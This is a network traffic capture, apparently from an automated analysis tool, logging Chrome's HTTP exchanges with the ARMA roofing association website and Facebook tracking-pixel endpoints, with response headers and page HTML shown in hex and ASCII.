376	192.168.2.6	50213	31.13.88.35	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:44 UTC	1304	OUT	GET /privacy_sandbox/pixel/register/trigger/?id=688224189896855&ev=ViewContent&dl=https%3A%2F%2Fwww.asphaltroofing.org%2Fresources%2F&rl=&if=false&ts=1713884082689&cd[b_w]=1280&cd[b_h]=907&cd[s_w]=1280&cd[s_h]=1024&cd[loc_url]=https%3A%2F%2Fwww.asphaltroofing.org%2Fresources%2F&cd[ses_id]=6627cb7c5c51a2698cf29ddb&cd[flvr]=page_view&cd[a_id]=603026366fd8bf4e42de107f&cd[debug]=0&cd[bypass_hash]=0&cd[f_id]=6627cb818425280008d4a656&cd[ttd_id]=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&sw=1280&sh=1024&v=2.9.154&r=stable&ec=0&o=4126&fbp=fb.1.1713884037978.840489946&ler=empty&cdl=API_unavailable&it=1713884082656&coo=false&dpo=LDU&dpoco=0&dpost=0&tm=1&rqm=FGET HTTP/1.1 Host: www.facebook.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Attribution-Reporting-Eligible: trigger=navigation-source, event-source Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:54:44 UTC	948	IN	HTTP/1.1 200 OK Vary: Accept-Encoding Content-Type: image/png reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", default="https://www.facebook.com/ajax/browser_error_reports/?device_level=unknown", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"}
2024-04-23 14:54:44 UTC	1903	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a 20 64 61 74 61 3a 20 27 73 65 6c 66 27 20 63 6f 6e 6e 65 63 74 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 27 Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net '
2024-04-23 14:54:44 UTC	1579	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 73 65 6c 66 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 64 70 72 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 68 2d 76 69 65 77 70 6f 72 74 2d 68 65 69 67 68 74 3d 28 29 2c 20 63 68 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), bluetooth=(), camera=(self), ch-device-memory=(), ch-downlink=(), ch-dpr=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), ch-viewport-height=(), ch
2024-04-23 14:54:44 UTC	70	IN	Data Raw: 34 33 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 04 00 00 00 b5 1c 0c 02 00 00 00 0a 49 44 41 54 78 9c 63 00 01 00 00 05 00 01 0d 0a 2d b4 00 00 00 00 49 45 4e 44 ae 42 60 Data Ascii: 43PNGIHDRIDATxc-IENDB`
2024-04-23 14:54:44 UTC	8	IN	Data Raw: 82 0d 0a 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
377	192.168.2.6	50214	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:44 UTC	932	OUT	GET /security.js?v=1713884082416 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive Cache-Control: max-age=0 Accept: / Service-Worker: script Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: serviceworker Referer: https://www.asphaltroofing.org/security.js?v=1713884082416 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884079.0.0.0; _scc_session=pc=7&C_TOUCH=2024-04-23T14:54:39.985Z If-None-Match: "4506e-5c6-5ddcbf6119400" If-Modified-Since: Fri, 29 Apr 2022 14:36:00 GMT
2024-04-23 14:54:45 UTC	478	IN	HTTP/1.1 304 Not Modified Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:44 GMT Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Fri, 29 Apr 2022 14:36:00 GMT ETag: "4506e-5c6-5ddcbf6119400" Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
378	192.168.2.6	50216	31.13.66.35	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:45 UTC	952	OUT	GET /tr/?id=688224189896855&ev=ViewContent&dl=https%3A%2F%2Fwww.asphaltroofing.org%2Fresources%2F&rl=&if=false&ts=1713884082689&cd[b_w]=1280&cd[b_h]=907&cd[s_w]=1280&cd[s_h]=1024&cd[loc_url]=https%3A%2F%2Fwww.asphaltroofing.org%2Fresources%2F&cd[ses_id]=6627cb7c5c51a2698cf29ddb&cd[flvr]=page_view&cd[a_id]=603026366fd8bf4e42de107f&cd[debug]=0&cd[bypass_hash]=0&cd[f_id]=6627cb818425280008d4a656&cd[ttd_id]=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&sw=1280&sh=1024&v=2.9.154&r=stable&ec=0&o=4126&fbp=fb.1.1713884037978.840489946&ler=empty&cdl=API_unavailable&it=1713884082656&coo=false&dpo=LDU&dpoco=0&dpost=0&tm=1&rqm=GET HTTP/1.1 Host: www.facebook.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:54:45 UTC	465	IN	HTTP/1.1 200 OK Content-Type: text/plain Access-Control-Allow-Origin: Access-Control-Allow-Credentials: true Strict-Transport-Security: max-age=31536000; includeSubDomains cross-origin-resource-policy: cross-origin Server: proxygen-bolt X-FB-Connection-Quality: GOOD; q=0.7, rtt=118, rtx=0, c=10, mss=1277, tbw=3404, tp=-1, tpl=-1, uplat=0, ullat=0 Alt-Svc: h3=":443"; ma=86400 Date: Tue, 23 Apr 2024 14:54:45 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
379	192.168.2.6	50217	31.13.66.35	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:45 UTC	989	OUT	GET /privacy_sandbox/pixel/register/trigger/?id=688224189896855&ev=ViewContent&dl=https%3A%2F%2Fwww.asphaltroofing.org%2Fresources%2F&rl=&if=false&ts=1713884082689&cd[b_w]=1280&cd[b_h]=907&cd[s_w]=1280&cd[s_h]=1024&cd[loc_url]=https%3A%2F%2Fwww.asphaltroofing.org%2Fresources%2F&cd[ses_id]=6627cb7c5c51a2698cf29ddb&cd[flvr]=page_view&cd[a_id]=603026366fd8bf4e42de107f&cd[debug]=0&cd[bypass_hash]=0&cd[f_id]=6627cb818425280008d4a656&cd[ttd_id]=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&sw=1280&sh=1024&v=2.9.154&r=stable&ec=0&o=4126&fbp=fb.1.1713884037978.840489946&ler=empty&cdl=API_unavailable&it=1713884082656&coo=false&dpo=LDU&dpoco=0&dpost=0&tm=1&rqm=FGET HTTP/1.1 Host: www.facebook.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:54:45 UTC	900	IN	HTTP/1.1 200 OK reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", default="https://www.facebook.com/ajax/browser_error_reports/?device_level=unknown", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"}
2024-04-23 14:54:45 UTC	1903	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a 20 64 61 74 61 3a 20 27 73 65 6c 66 27 20 63 6f 6e 6e 65 63 74 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 27 Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net '
2024-04-23 14:54:45 UTC	1609	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 73 65 6c 66 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 64 70 72 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 68 2d 76 69 65 77 70 6f 72 74 2d 68 65 69 67 68 74 3d 28 29 2c 20 63 68 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), bluetooth=(), camera=(self), ch-device-memory=(), ch-downlink=(), ch-dpr=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), ch-viewport-height=(), ch

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
380	192.168.2.6	50220	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:46 UTC	982	OUT	GET /about-arma/ HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884079.0.0.0; _scc_session=pc=7&C_TOUCH=2024-04-23T14:54:39.985Z
2024-04-23 14:54:47 UTC	617	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Link: <https://www.asphaltroofing.org/wp-json/>; rel="https://api.w.org/", <https://www.asphaltroofing.org/wp-json/wp/v2/pages/143>; rel="alternate"; type="application/json", <https://www.asphaltroofing.org/?p=143>; rel=shortlink Vary: Accept-Encoding X-Sucuri-Cache: EXPIRED
2024-04-23 14:54:47 UTC	7575	IN	Data Raw: 33 64 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 21 2d 2d 20 47 54 4d 20 53 6e 69 70 70 65 74 20 66 6f 72 20 46 65 61 74 68 72 29 20 2d 2d 3e 0d 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 77 2c 64 2c 73 2c 6c 2c 69 29 7b 77 5b 6c 5d 3d 77 5b 6c 5d 7c 7c 5b 5d 3b 77 5b 6c 5d 2e 70 75 73 68 28 7b 27 67 74 6d 2e 73 74 61 72 74 27 3a 0d 0a 6e 65 77 20 44 61 74 65 28 29 2e 67 65 74 54 69 6d 65 28 29 2c 65 76 65 6e 74 3a 27 67 74 6d 2e 6a 73 27 7d 29 3b 76 61 72 20 66 3d 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 73 29 5b 30 5d 2c 0d 0a 6a 3d 64 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 73 29 2c 64 6c 3d 6c 21 Data Ascii: 3d8<!DOCTYPE html><html lang="en"><head> ... GTM Snippet for Feathr) --><script>(function(w,d,s,l,i){w[l]=w[l]\|\|[];w[l].push({'gtm.start':new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],j=d.createElement(s),dl=l!
2024-04-23 14:54:47 UTC	8192	IN	Data Raw: 27 20 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 61 73 70 68 61 6c 74 72 6f 6f 66 69 6e 67 2e 6f 72 67 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 63 6f 6e 74 65 6e 74 2d 76 69 65 77 73 2d 71 75 65 72 79 2d 61 6e 64 2d 64 69 73 70 6c 61 79 2d 70 6f 73 74 2d 70 61 67 65 2f 70 75 62 6c 69 63 2f 61 73 73 65 74 73 2f 63 73 73 2f 63 76 2e 63 73 73 3f 76 65 72 3d 33 2e 36 2e 34 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 70 74 2d 63 76 2d 70 75 62 6c 69 63 2d 70 72 6f 2d 73 74 79 6c 65 2d 63 73 73 27 20 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 61 73 70 68 61 6c 74 72 6f 6f 66 69 6e Data Ascii: ' href='https://www.asphaltroofing.org/wp-content/plugins/content-views-query-and-display-post-page/public/assets/css/cv.css?ver=3.6.4' type='text/css' media='all' /><link rel='stylesheet' id='pt-cv-public-pro-style-css' href='https://www.asphaltroofin
2024-04-23 14:54:47 UTC	8192	IN	Data Raw: 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 6f 72 61 6e 67 65 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 61 6d 62 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 61 6d 62 65 72 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 6c 69 67 68 74 2d 67 72 65 65 6e 2d 63 79 61 6e 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d Data Ascii: p--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-background-color{background-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-background-color{background-color: var(--wp--preset--color--
2024-04-23 14:54:47 UTC	8192	IN	Data Raw: 2d 64 65 73 69 67 6e 2d 63 75 73 74 6f 6d 2d 73 74 79 6c 65 2d 63 73 73 27 20 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 61 73 70 68 61 6c 74 72 6f 6f 66 69 6e 67 2e 6f 72 67 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 75 2d 64 65 73 69 67 6e 2f 61 73 73 65 74 73 2f 63 73 73 2f 66 72 6f 6e 74 65 6e 64 2f 67 6c 6f 62 61 6c 2f 63 75 73 74 6f 6d 5f 73 74 79 6c 65 2e 63 73 73 3f 76 65 72 3d 33 2e 33 2e 38 2e 31 37 31 33 38 30 34 30 39 34 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 73 63 72 65 65 6e 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 75 2d 64 65 73 69 67 6e 2d 72 65 73 70 6f 6e 73 69 76 65 2d 63 73 73 27 20 20 68 72 65 66 3d 27 68 74 74 70 73 Data Ascii: -design-custom-style-css' href='https://www.asphaltroofing.org/wp-content/themes/u-design/assets/css/frontend/global/custom_style.css?ver=3.3.8.1713804094' type='text/css' media='screen' /><link rel='stylesheet' id='u-design-responsive-css' href='https
2024-04-23 14:54:47 UTC	8192	IN	Data Raw: 28 65 2e 74 68 75 6d 62 77 29 3b 0d 0a 09 09 09 09 65 2e 74 61 62 68 20 3d 20 65 2e 74 61 62 68 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 20 3f 20 30 20 3a 20 70 61 72 73 65 49 6e 74 28 65 2e 74 61 62 68 29 3b 0d 0a 09 09 09 09 65 2e 74 68 75 6d 62 68 20 3d 20 65 2e 74 68 75 6d 62 68 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 20 3f 20 30 20 3a 20 70 61 72 73 65 49 6e 74 28 65 2e 74 68 75 6d 62 68 29 3b 0d 0a 09 09 09 09 65 2e 74 61 62 68 69 64 65 20 3d 20 65 2e 74 61 62 68 69 64 65 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 20 3f 20 30 20 3a 20 70 61 72 73 65 49 6e 74 28 65 2e 74 61 62 68 69 64 65 29 3b 0d 0a 09 09 09 09 65 2e 74 68 75 6d 62 68 69 64 65 20 3d 20 65 2e 74 68 75 6d 62 68 69 64 65 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 20 3f 20 30 20 3a 20 70 61 72 73 65 49 6e 74 Data Ascii: (e.thumbw);e.tabh = e.tabh===undefined ? 0 : parseInt(e.tabh);e.thumbh = e.thumbh===undefined ? 0 : parseInt(e.thumbh);e.tabhide = e.tabhide===undefined ? 0 : parseInt(e.tabhide);e.thumbhide = e.thumbhide===undefined ? 0 : parseInt
2024-04-23 14:54:47 UTC	8192	IN	Data Raw: 32 30 30 30 2f 73 76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 30 20 30 22 20 77 69 64 74 68 3d 22 30 22 20 68 65 69 67 68 74 3d 22 30 22 20 66 6f 63 75 73 61 62 6c 65 3d 22 66 61 6c 73 65 22 20 72 6f 6c 65 3d 22 6e 6f 6e 65 22 20 73 74 79 6c 65 3d 22 76 69 73 69 62 69 6c 69 74 79 3a 20 68 69 64 64 65 6e 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 20 6c 65 66 74 3a 20 2d 39 39 39 39 70 78 3b 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 22 20 3e 3c 64 65 66 73 3e 3c 66 69 6c 74 65 72 20 69 64 3d 22 77 70 2d 64 75 6f 74 6f 6e 65 2d 70 75 72 70 6c 65 2d 67 72 65 65 6e 22 3e 3c 66 65 43 6f 6c 6f 72 4d 61 74 72 69 78 20 63 6f 6c 6f 72 2d 69 6e 74 65 72 70 6f 6c 61 74 69 6f 6e 2d 66 69 6c 74 65 72 73 3d 22 73 52 47 42 22 20 74 Data Ascii: 2000/svg" viewBox="0 0 0 0" width="0" height="0" focusable="false" role="none" style="visibility: hidden; position: absolute; left: -9999px; overflow: hidden;" ><defs><filter id="wp-duotone-purple-green"><feColorMatrix color-interpolation-filters="sRGB" t
2024-04-23 14:54:47 UTC	8192	IN	Data Raw: 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 33 35 33 35 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 61 73 70 68 61 6c 74 72 6f 6f 66 69 6e 67 2e 6f 72 67 2f 72 65 73 6f 75 72 63 65 73 2f 6d 65 64 69 61 2d 63 65 6e 74 65 72 2f 22 3e 3c 73 70 61 6e 3e 4d 65 64 69 61 20 43 65 6e 74 65 72 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 6c 69 3e 0a 09 3c 6c 69 20 69 64 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 33 36 35 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 Data Ascii: u-item-type-post_type menu-item-object-page menu-item-3535"><a href="https://www.asphaltroofing.org/resources/media-center/"><span>Media Center</span></a></li><li id="menu-item-365" class="menu-item menu-item-type-post_type menu-item-object-page menu-it
2024-04-23 14:54:47 UTC	8192	IN	Data Raw: 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 76 63 5f 65 6d 70 74 79 5f 73 70 61 63 65 5f 69 6e 6e 65 72 22 3e 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 3c 68 32 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 22 20 63 6c 61 73 73 3d 22 76 63 5f 63 75 73 74 6f 6d 5f 68 65 61 64 69 6e 67 22 20 3e 41 52 4d 41 20 57 65 62 73 69 74 65 20 54 65 72 6d 73 20 6f 66 20 55 73 65 20 26 61 6d 70 3b 20 50 72 69 76 61 63 79 20 50 6f 6c 69 63 79 3c 2f 68 32 3e 0a 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 77 70 62 5f 74 65 78 74 5f 63 6f 6c 75 6d 6e 20 77 70 62 5f 63 6f 6e 74 65 6e 74 5f 65 6c 65 6d 65 6e 74 20 22 20 3e 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 77 70 62 5f 77 72 61 70 70 65 72 22 3e 0a 09 09 09 3c 70 3e 41 74 20 41 52 4d 41 2c 20 77 Data Ascii: "><span class="vc_empty_space_inner"></span></div><h2 style="text-align: left" class="vc_custom_heading" >ARMA Website Terms of Use & Privacy Policy</h2><div class="wpb_text_column wpb_content_element " ><div class="wpb_wrapper"><p>At ARMA, w
